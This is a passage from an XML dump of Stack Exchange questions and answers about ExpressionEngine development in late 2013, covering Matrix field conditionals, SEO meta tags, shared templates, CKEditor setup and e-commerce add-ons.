limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_3}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_4}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_5}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_6}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if you put all your Matrix calls inside of the entry_id conditional check? What does the debugger say?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if entry_id == &quot;20&quot;}&#xA;  {if cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;    &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Configuration Options&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;      &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;      &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;  {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like my update above helped some. Still haven't heard if IfElse helps you. If this doesn't help, can you tell what PHP version you have, what's in your Matrix fields, and verify that all of them have &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; where you need that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}&#xA;  {if entry_id == &quot;20&quot;}&#xA;    {if cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;      &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;      &amp;lt;h2&amp;gt;Configuration Options&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;      &amp;lt;/table&amp;gt;&#xA;    {/if}&#xA;  {if:elseif entry_id == &quot;22&quot;}&#xA;    {if cf_product_options:total_rows &amp;gt; &quot;0&quot;}&#xA;      &amp;lt;hr class=&quot;soften&quot;&amp;gt;&#xA;      &amp;lt;h2&amp;gt;Configuration Options&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;table class=&quot;table table-striped table-bordered table-condensed table-disable-hover&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;{cf_product_options_labels limit=&quot;1&quot;}&amp;lt;tr&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_1}&amp;lt;/th&amp;gt;&amp;lt;th width=&quot;50%&quot;&amp;gt;{col_2}&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options_labels}&amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;{cf_product_options limit=&quot;1&quot;}&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;{col_1}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{col_2}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;{/cf_product_options}&amp;lt;/tbody&amp;gt;&#xA;      &amp;lt;/table&amp;gt;&#xA;    {/if}&#xA;  {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-12-02T22:22:19.103" LastActivityDate="2013-12-02T22:22:19.103" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17270" PostTypeId="1" AcceptedAnswerId="17274" CreationDate="2013-11-30T02:02:39.803" Score="2" ViewCount="106" Body="&lt;p&gt;I am saving templates as files and now just recently I noticed that when I open a template in my Code Editor via FTP the then open template gets displayed in Google Analytics &quot;Realtime&quot; report, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url/public_html/assets/templates/default_site/template.group/index.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find this to be quite confusing and I am wondering why this is happening and if there is anything I can do to prevent this behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional Info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two more things to consider: I am using Config Master and Stash with this particular site. I set the Analytics code like this: $env_global['global:google_analytics'] = 'UA-XXXXXXX-X'; and get it like this  {global:google_analytics} in my Stash wrapper template later on.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="197" LastEditDate="2013-11-30T16:50:17.377" LastActivityDate="2013-12-02T04:32:10.157" Title="Save Templates as Files and Google Analytics" Tags="|templates|files|google-analytics|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17271" PostTypeId="2" ParentId="16857" CreationDate="2013-11-30T02:46:25.113" Score="2" Body="&lt;p&gt;Turned out the update seemed to change my S3 location; I updated them to the correct server and they started working again. Latest version of the add-on doesn't seem to have this issue anymore.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-11-30T02:46:25.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17272" PostTypeId="1" CreationDate="2013-11-30T13:21:58.927" Score="3" ViewCount="1002" Body="&lt;p&gt;Is there any way to add custom Canonical link, title, meta description and keywords&#xA;with any addon in EE?&lt;/p&gt;&#xA;" OwnerUserId="2423" LastEditorUserId="69" LastEditDate="2013-12-02T12:24:55.810" LastActivityDate="2020-05-21T06:07:38.367" Title="Ability to add custom Canonical link" Tags="|seo|" AnswerCount="4" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17273" PostTypeId="1" CreationDate="2013-11-30T14:13:26.953" Score="2" ViewCount="52" Body="&lt;p&gt;I have a channel with a File field that I'd like to replace with a Matrix field in order to create an image gallery for each channel entry, however there are thousands of entries in the system already that I am worried will be wiped if I modify the field type. Is there a way to incorporate the existing image files into a Matrix entry, or is my best option to create a Matrix gallery alongside the single File field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2424" LastActivityDate="2013-11-30T16:58:34.700" Title="Import existing File field content to Matrix gallery" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17274" PostTypeId="2" ParentId="17270" CreationDate="2013-11-30T16:49:44.873" Score="3" Body="&lt;p&gt;A quick Google search seems to indicate that it's the thumbnail icons that Coda continually regenerates, which will render the HTML (including your Google Analytics code). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://groups.google.com/forum/#!topic/coda-users/QhosxNwHSLc&quot; rel=&quot;nofollow&quot;&gt;See this thread&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution they offered is to collapse the preview thumbnails into text. I don't have a copy of Coda, so I don't know exactly how to do that, but it sounds pretty simple.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-30T16:49:44.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17275" PostTypeId="2" ParentId="17273" CreationDate="2013-11-30T16:58:34.700" Score="2" Body="&lt;p&gt;Your best bet is probably to create the Matrix as a new field. Then you can non-destructively work on copying the data over from the original file field to the new Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are familiar with working with SQL and the ExpressionEngine database, it shouldn't be too difficult to pull out the current field values and then create/update the necessary records to copy the values over to the Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you aren't that familiar with working with the database, you could use the Datagrab add-on. Simply create a template that outputs XML with the current value of the file field and the entry ID. Save the output as an XML file. Then you can re-import that file with Datagrab and update the entries based on the entry ID, and map the file to the Matrix.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-30T16:58:34.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17276" PostTypeId="2" ParentId="17272" CreationDate="2013-11-30T17:02:26.553" Score="2" Body="&lt;p&gt;ee-garage.com has an extremely complete addon &gt;&gt; &lt;a href=&quot;http://ee-garage.com/nsm-better-meta&quot; rel=&quot;nofollow&quot;&gt;nsm better meta&lt;/a&gt;.&lt;br&gt;&#xA;Also,  the keyword meta tag is no longer included in search engine bot data mining.&#xA;Good luck &lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="28" LastEditDate="2013-12-01T00:48:55.727" LastActivityDate="2013-12-01T00:48:55.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17277" PostTypeId="2" ParentId="17272" CreationDate="2013-11-30T17:45:39.773" Score="6" Body="&lt;p&gt;Take a look at SEO Lite &lt;a href=&quot;http://devot-ee.com/add-ons/seolite&quot;&gt;http://devot-ee.com/add-ons/seolite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But really, you can just build this into your templates/field groups without the use of an add-on.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-11-30T17:45:39.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17278" PostTypeId="2" ParentId="11477" CreationDate="2013-11-30T20:03:52.903" Score="3" Body="&lt;p&gt;I followed &lt;a href=&quot;http://ellislab.com/forums/viewthread/187238/#900907&quot; rel=&quot;nofollow&quot;&gt;this old EE thread&lt;/a&gt; and got a WYSIWYG in place. I modified the &lt;code&gt;forum_themes/scaffold/forum_global/html_footer.html&lt;/code&gt;, adding this snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/themes/third_party/wygwam/lib/ckeditor/ckeditor.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/themes/third_party/wygwam/lib/ckeditor/adapters/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/themes/third_party/wygwam/lib/ckeditor/ckeditor-forums.init.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I used an existing CKEditor install, from WYGWAM, rather than downloading another copy from CKEditor.com.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My init.js (&lt;code&gt;ckeditor-forums.init.js&lt;/code&gt; above) file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function(){&#xA;// ckeditor config&#xA;var wysiwyg_nl2br_config = {&#xA;    toolbar : &#xA;        [&#xA;            ['Bold','Italic','-','NumberedList','BulletedList','-','Link','Unlink']&#xA;        ],&#xA;    width : '650px',&#xA;    height : '200px',&#xA;    forcePasteAsPlainText : 'true',&#xA;    autoGrow_onStartup : false,&#xA;    enterMode : CKEDITOR.ENTER_P&#xA;};&#xA;&#xA;jQuery(&quot;textarea#body&quot;).ckeditor(function(){&#xA;    // attach CKFinder&#xA;}, wysiwyg_nl2br_config);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;});&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the client wanted something very simple and sparse. You can, of course, add all the other various plugins and buttons you want.&lt;/p&gt;&#xA;" OwnerUserId="221" LastActivityDate="2013-11-30T20:03:52.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17279" PostTypeId="2" ParentId="11530" CreationDate="2013-12-01T15:02:21.863" Score="1" Body="&lt;p&gt;Figured this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason the combined .css and .js files are updated once you update changes to a template.&lt;/p&gt;&#xA;" OwnerUserId="1523" LastActivityDate="2013-12-01T15:02:21.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17280" PostTypeId="1" CreationDate="2013-12-01T15:08:51.833" Score="1" ViewCount="179" Body="&lt;p&gt;I've tried using Percona Cluster as a drop-in replacement for MySQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when templates are saved, each cluster node is updated with a different value for the primary key column &lt;code&gt;template_id&lt;/code&gt; in the &lt;code&gt;exp_templates&lt;/code&gt; table. The primary key column &lt;code&gt;group_id&lt;/code&gt; in the &lt;code&gt;exp_template_groups&lt;/code&gt; table is also different on each node when group updates are made or a group is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This (obviously) causes database inconsistencies, and templates to disappear depending on which MySQL cluster node they're served by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience or advice on whether or not EE2 with Percona Cluster is possible?&lt;/p&gt;&#xA;" OwnerUserId="1523" LastEditorUserId="1523" LastEditDate="2013-12-03T02:24:06.867" LastActivityDate="2013-12-04T21:36:30.453" Title="ExpressionEngine with Percona Cluster?" Tags="|ee2|database|mysql|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17281" PostTypeId="1" AcceptedAnswerId="17284" CreationDate="2013-12-01T18:54:20.157" Score="1" ViewCount="134" Body="&lt;p&gt;NOTE: when I use the term &quot;template&quot; below, I do not mean EE templates. Rather, I mean templates like the ones that can be purchased from www.TemplateMonster.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume I needed to deploy and manage several similar websites. Is there a way I can set up a few website templates and have the individual websites associate themselves with one of those templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say I have 50 sites to deploy and 5 templates to choose from. Sites 1-10 wants to use template 1, sites 11-20 wants to use template 2, and so on. Each site will have a different company name, logo, perhaps slightly different colors or layout, etc. (things that can probably be set as a global variable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I make a change to one template, I generally want it to affect all the sites that have chosen to use that template. All the sites will generally have the same data (e.g. if they choose to have a blog, they will all have the same channel fields for blogging, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out if I can set up MSM, then put the template files in some directory that is accessible to the individual sites, then configure each site to just point to the appropriate directory. If this is possible, are there any drawbacks to this approach?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-12-01T19:16:27.290" Title="Multiple Sites, Sharing Several Templates" Tags="|templates|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17282" PostTypeId="1" AcceptedAnswerId="17331" CreationDate="2013-12-01T18:56:25.853" Score="2" ViewCount="377" Body="&lt;p&gt;I need to build a network of online stores that all have access to the same inventory items (which will contain stock levels, purchase cost to the store, etc.). The individual stores must have access to this centralized inventory and opt to either sell or not sell the inventory items. They should be able to also see the purchase cost of the inventory items, set their own pricing for the inventory items (ability to do this via bulk would be great, like &quot;20% profit for all items in category x&quot;), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, it is necessary for the individual stores to be able to add their own inventory items to the their stores. Meaning, they are not limited to just selling the items from the centralized inventory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inventory would ideally be stored in a single repository so that adds/edits/deletes can be done centrally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there needs to be a way to categorize the inventory items in a hierarchical manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an addon I can use for this? I have never used Expr-esso or Cathrob -- and I'm not sure if those are the only options I should be looking at.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-12-02T18:38:14.727" LastActivityDate="2013-12-02T21:31:30.037" Title="Multiple Sites, Selling The Same Inventory Items" Tags="|expresso-store|add-on|cartthrob|ecommerce|recommendation-request|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17283" PostTypeId="1" CreationDate="2013-12-01T19:12:51.603" Score="2" ViewCount="117" Body="&lt;p&gt;Is it possible with Expresso Store to check (in a template) if a certain ip address has ordered the same article within the last 24 hours? I have a website where someone can order maxiumum 1 piece of each item. I don't want people to just buy one, then go to the homepage again and be able to buy another ne of the same article. So I need some kind of (possibly ip) check. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="513" LastActivityDate="2013-12-03T01:49:32.257" Title="Is it possible to check (in a template) if a certain ip address has ordered the same article within the last 24 hours?" Tags="|expresso-store|expresso|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17284" PostTypeId="2" ParentId="17281" CreationDate="2013-12-01T19:16:27.290" Score="2" Body="&lt;p&gt;If you don't need to give each site control panel level access to change their chosen templates (but instead they'd need to ask you to do this), and you're saving your templates as files, then you can probably just use symlinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your templates directory could look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates&#xA;-- theme1&#xA;-- theme2&#xA;-- theme3&#xA;-- site1 (symlink to theme2)&#xA;-- site2 (symlink to theme1)&#xA;-- site3 (symlink to theme1)&#xA;-- site4 (symlink to theme3)&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not tested, but it should work.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-01T19:16:27.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17285" PostTypeId="2" ParentId="17272" CreationDate="2013-12-01T19:25:56.763" Score="5" Body="&lt;p&gt;You don't need an add-on to do this. Just add those items to your templates. You have complete control over every piece of markup in ExpressionEngine, so when it comes to adding any markup to any page generated by EE, it is never a question of &quot;is there a way&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we could see how you've setup your templates (and know whether you're using shared bits of code for parts of your templates, etc), we could offer more advanced guidance, but to answer your question: yes, and here's the simplest example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;{news_description}&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;canonical&quot; href=&quot;{title_permalink=&quot;news/entry&quot;}&quot;/&amp;gt;&#xA;    &amp;lt;title&amp;gt;{title}&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {news_entry}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-01T19:25:56.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17286" PostTypeId="2" ParentId="17283" CreationDate="2013-12-01T19:43:46.437" Score="2" Body="&lt;p&gt;I doubt this is something Expresso supports as it's so project specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option is to use jQuery Cookie to track this:&#xA;&lt;a href=&quot;http://plugins.jquery.com/cookie/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.jquery.com/cookie/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set a cookie on the success page and have it expire after 24 hrs or whatever time limit you want... Then on the purchase page, write a conditional against the cookie to determine if you should let them purchase the article or not.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;Or if you specifically want IP address, store the buyers IP in a hidden field on the product page and submit it to the database when an order is complete. Then write a conditional that checks the database before allowing the buyers to make a purchase.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you specifically want IP, it is stored in the &lt;code&gt;exp_store_orders&lt;/code&gt; table in the &lt;code&gt;ip_address&lt;/code&gt; column. There is also an &lt;code&gt;order_completed_date&lt;/code&gt; column. You can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot; rel=&quot;nofollow&quot;&gt;Query Module&lt;/a&gt; to build your query... then conditionally show the ability to purchase as needed.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-12-03T01:49:32.257" LastActivityDate="2013-12-03T01:49:32.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17287" PostTypeId="2" ParentId="17282" CreationDate="2013-12-01T19:45:50.637" Score="1" Body="&lt;p&gt;There is not an addon you can use for this. If you use Store or Cartthrob, you will be customizing heavily IMO since your project requirements are so specific.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-01T19:45:50.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17288" PostTypeId="2" ParentId="17267" CreationDate="2013-12-01T21:49:34.840" Score="1" Body="&lt;p&gt;If that is really the case I'm surprised any of those conditions are even working. Programmatically speaking those are assignments, not conditions, which in EE templating terms... is neither, unless they let that slide as conditions then that'd be interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that is fixed, if those conditions are really the issue (even if they aren't!) I would try using Mark Croxton's &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse&lt;/a&gt;, or &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; plugins to handle your conditions so that only the code you need to run is parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the below wouldn't be advanced conditionals due to the IfElse plugin and only the passing condition's content would work/be parsed (if I understand this correctly)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;} &#xA;  {if entry_id == 78}&#xA;  ...&#xA;  {if:elseif entry_id == 79}&#xA;  ...&#xA;  {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or switchee, only the valid case's content would be parsed (if I understand this correctly)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{entry_id}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;78&quot;}...{/case}&#xA;  {case value=&quot;79&quot;}...{/case}&#xA;  ...&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-12-01T21:49:34.840" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17289" PostTypeId="1" CreationDate="2013-12-01T22:50:28.103" Score="3" ViewCount="1262" Body="&lt;p&gt;I am getting a little frustrated with EE ecommerce modules. They are great, but just don't have the flexibility or features for our larger clients. I'm really not too keen on having two systems - it's seems like a step back in time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have used all the EE ecommerce addons and am starting to think it might be the way to go. A dedicated ecommerce platform will naturally be more powerful for serious online retailers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking recently at Magento. I'm not 100% convinced of it yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been reading all the docs I can find that relate to integrating the two. It seems pretty straightforward on the templating side, however, I'm wondering if anyone ever found a solution to help manage users? Sharing sessions etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be interested in hearing your views/solutions to this if you have one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone found the right solution? Or built an extension that might help?&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-12-05T06:01:12.627" Title="ExpressionEngine and Magento integration?" Tags="|ee2|ecommerce|magento|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17290" PostTypeId="2" ParentId="17283" CreationDate="2013-12-01T22:58:02.150" Score="1" Body="&lt;p&gt;You would most definitely need to develop something of your own. Asides from cross-checking IP you could also tie item purchases to an account, maybe even billing/shipping address, etc. depending on the nature of the product and to what extent you're willing to prevent purchases (you'd be blocking more or other than you intended).&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-12-01T22:58:02.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17291" PostTypeId="2" ParentId="17261" CreationDate="2013-12-02T01:20:21.097" Score="0" Body="&lt;p&gt;I'm a little confused by your setup. If by staffers in categories you mean like Zoo Visitor entries with literal categories then it may not always make sense for your urls to have the category url_title (again, it's not clear to me what your setup is like).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could instead utilize this other add-on &lt;a href=&quot;http://devot-ee.com/add-ons/cat2&quot; rel=&quot;nofollow&quot;&gt;Cat2&lt;/a&gt; to grab the category id and list channel entries by that.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-12-02T01:20:21.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17292" PostTypeId="1" AcceptedAnswerId="17299" CreationDate="2013-12-02T03:03:46.063" Score="0" ViewCount="87" Body="&lt;p&gt;Is it possible to filter entries in Low Search based on the number of rows/count of a specific Grid Field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example something like, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Get all rows whos field X(a Grid field) has a count greater than 0&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-12-02T08:21:45.457" Title="Low Search - Filtering by Grid count" Tags="|low-search|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17293" PostTypeId="2" ParentId="16966" CreationDate="2013-12-02T03:29:21.740" Score="0" Body="&lt;p&gt;Use the &quot;maxb&quot; parameter of phpThumb: &lt;a href=&quot;http://phpthumb.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;http://phpthumb.sourceforge.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2013-12-02T03:29:21.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17294" PostTypeId="1" CreationDate="2013-12-02T04:13:19.530" Score="3" ViewCount="94" Body="&lt;p&gt;Within a channel form, is it possible to override/specify the editor configuration that wygwam uses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;post&quot;}&#xA;    &amp;lt;label&amp;gt;Post Content&amp;lt;/label&amp;gt;&#xA;    {field:wygwam_field editor=&quot;basic&quot;}&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I want the users in the CP to have access to the &quot;Full&quot; editor. But users submitting content via the front-end/Channel Form to have a &quot;basic&quot; editor load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="959" LastEditorUserId="959" LastEditDate="2013-12-02T04:26:25.450" LastActivityDate="2013-12-02T16:11:45.927" Title="Configure wygwam configuration via field parameter?" Tags="|safecracker|wygwam|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
